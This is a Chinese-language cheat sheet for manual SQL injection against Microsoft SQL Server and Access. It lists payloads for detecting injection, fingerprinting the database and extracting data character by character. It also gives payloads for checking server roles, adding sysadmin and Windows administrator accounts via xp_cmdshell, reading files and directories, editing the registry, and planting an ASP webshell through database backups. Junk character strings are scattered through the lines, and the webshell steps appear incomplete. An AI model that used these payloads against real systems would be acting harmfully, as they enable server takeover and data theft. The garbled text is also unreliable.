手工脚本注入
" Y: X, M+ K) V* G/ M! R7 [3 d& M1.判断是否有注入;and 1=1 ;and 1=2
' V b" `* G; v+ f5 W( c J: R
& C4 `9 t2 j% u2.初步判断是否是mssql ;and user>0 % Z& G( t& q+ D
" m6 n7 m# M. W# k$ r
3.注入参数是字符'and [查询条件] and ''=' / {# S( P+ b- _% D& h# V
Q1 k5 x( T7 P) z5 g8 k4.搜索时没过滤参数的'and [查询条件] and '%25'='
; s; o/ l- P3 W. U* A' y: T H6 t4 N3 t. o, T7 @! w
5.判断数据库系统 . ?) P; j# p" J5 ` h1 u
;and (select count(*) from sysobjects)>0 mssql
7 [/ E# B; N8 w$ v;and (select count(*) from msysobjects)>0 access
1 H8 c4 D d: m) w5 q. V4 V3 |7 ~ ]7 _# a x0 S5 I
6.猜数据库 ;and (select Count(*) from [数据库名])>0 4 x. p5 g% k6 L, `/ r! Z
6 K6 s0 L W, b7 C0 p
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
! i2 W; S- Z, [% m6 E& M+ ~; z4 a" ]1 A4 k
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 4 X; o- ]: r5 v7 f* O- X3 ]* z
+ y8 ?4 H# D+ E+ {: a2 x7 s
9.(1)猜字段的ascii值(access) / t9 _* S0 G: l3 x. s2 N
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 * o' A+ D3 Z! i! k0 f* Y- _
4 V) C- T. d0 I# O, M" C9 w2 n; h9 A
(2)猜字段的ascii值(mssql)
2 c- o, P7 Q; o/ p+ ~$ A! o;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 4 [% k; A! @, Q9 @$ ]
' Y6 }5 G7 Q% B( \
10.测试权限结构(mssql) 7 N7 B7 D. c0 Y3 T1 J
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
( i# v4 ^+ L+ Z9 ~1 T1 Q/ ] `;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- / l( L4 k1 W# E3 T4 }+ }$ ]
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
# ]2 v! s$ H8 g! H$ ]) M;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
0 ^5 \7 U5 g8 U6 j6 {, Q7 h;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
3 J( ?) _9 j* l& C5 }6 o0 g/ s;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
/ d' U& g9 [9 e;and 1=(select IS_MEMBER('db_owner'));-- $ T/ P; F8 E" d4 n5 j- U& I( j
; P: O$ [* Y: v* j* M11.添加mssql和系统的帐户
' s, r. t2 A! y4 R2 D' E;exec master.dbo.sp_addlogin username;--
v+ _2 W W3 ~5 Q9 R, I4 M- z4 d/ V' @
;exec master.dbo.sp_password null,username,password;-- 0 X8 `: ~) y& v, n% H, {
. K! m! _( {% N9 R ^3 k7 N+ O4 {
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 5 \* Q" E1 ~/ b) ^/ J
1 r3 }: B3 A2 u3 W7 c;exec master.dbo.xp_cmdshell 'net user username password
) k$ Q7 _% G, W( ]1 ?$ q/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 5 A" s1 |2 {4 @' C- ~% B2 s W) T: Z
( G. Z3 s1 N& o9 r$ X4 p;exec master.dbo.xp_cmdshell 'net user username password /add';-- 3 w: `9 `; @' y4 c
! Y5 G6 f8 Y, O! r" W
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
) B2 I& s. ]. n) E: j/ M' V. C
3 ?/ ^4 F/ h" K' y$ R5 L3 o12.(1)遍历目录 8 D; O1 e, p$ S3 R4 r
' [7 h" ~2 C3 e;create table dirs(paths varchar(100), id int) 3 o# P/ {% H: m$ M) r
;insert dirs exec master.dbo.xp_dirtree 'c:\'
# @! {5 v4 n/ l# G( X8 G+ ];and (select top 1 paths from dirs)>0 # h' P2 x; e/ w3 C; s! g3 Q
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
- @7 ^& s' o, m3 [
' H5 o0 A( u! L4 W( L" f" o+ @(2)遍历目录 ; M0 o/ Y+ F9 ~ j4 N6 S @
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
# A! v/ E0 x( R2 n, h* {0 V;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
. w/ F" Y* |, I6 n2 |1 h. I;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
) N; q1 J8 H4 q4 J- {* H3 {;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 " d6 X. t8 R4 C" o0 Y E4 H
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 1 i. H/ _0 b% Q) J) b5 g1 j
9 j# o; |" c+ }6 K) q
13.mssql中的存储过程
0 e3 {5 z$ {) g
' Z' D9 ^: y1 U/ {( I2 O1 j3 R1 Uxp_regenumvalues 注册表根键, 子键 ( {: s/ A9 I$ J' V. ]
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 / A- |& T% [1 H3 j1 b& h# q/ `. T
7 s2 S1 @# y, a- x' G8 x, i
xp_regread 根键,子键,键值名 ( C# F4 P2 G3 o9 `1 I
;exec xp_regread + ]% ?% t+ D2 r+ ]
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 : m1 [# w* p% V, I% E) m
B. M; {1 z* Z# h- K
xp_regwrite 根键,子键, 值名, 值类型, 值
( r0 [: M5 b$ T7 W j' H! F值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 - h9 O5 ]; w& z+ t8 |
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
. x/ r7 J1 Y% \" r
4 ?: i3 H8 G5 zxp_regdeletevalue 根键,子键,值名 , r: T2 @( l4 h% m% \& F; _* g
7 i, O0 |3 {8 J {5 Uexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 % G" P+ f c7 F. m2 ]2 t. r
6 i- x1 J1 Y+ Fxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 4 ]0 x0 K% }+ A! u
3 u6 X2 N. v4 H14.mssql的backup创建webshell - K1 Y* W9 {7 h; |: f0 a2 S0 p8 n: L
use model
) e5 V: [' m- f! j7 ]6 k; A3 ecreate table cmd(str image); 7 b8 E" ~* }6 N
insert into cmd(str) values (''); 3 E9 Z$ ~4 i+ v( v! n6 [' P" K
backup database model to disk='c:\l.asp';
( i( q: y' M; l6 x' C* A0 ~) _% b* F/ c5 _( G
15.mssql内置函数 * a, J8 R/ a: J, D$ a
;and (select @@version)>0 获得Windows的版本号
2 b. z+ g: T! v& e5 Z$ _0 C;and user_name()='dbo' 判断当前系统的连接用户是不是sa
5 [- m3 ]( c# H) q7 q. O9 v;and (select user_name())>0 爆当前系统的连接用户
9 e; l2 Z# ? V# v0 x7 b;and (select db_name())>0 得到当前连接的数据库 , N. i" t; M$ L: p k
, T: @$ P* x9 n
16.简洁的webshell - }; P% ^. F* Q0 o/ {
+ l+ {$ p0 }7 P2 r0 b, fuse model # u h `0 ]" X
4 ], I( _. T, a+ J/ R# icreate table cmd(str image); 4 s/ r; r4 R' `$ Q) t7 `
$ O/ \. W5 v" D# R2 k* rinsert into cmd(str) values ('');
1 s5 b6 z p8 g, W8 I @' H( a4 f- X8 r' ?( s
backup database model to disk='g:\wwwtest\l.asp'; 6 C0 A; H S" k0 U
% R: g& J/ I: x* v1 x# O+ C- M |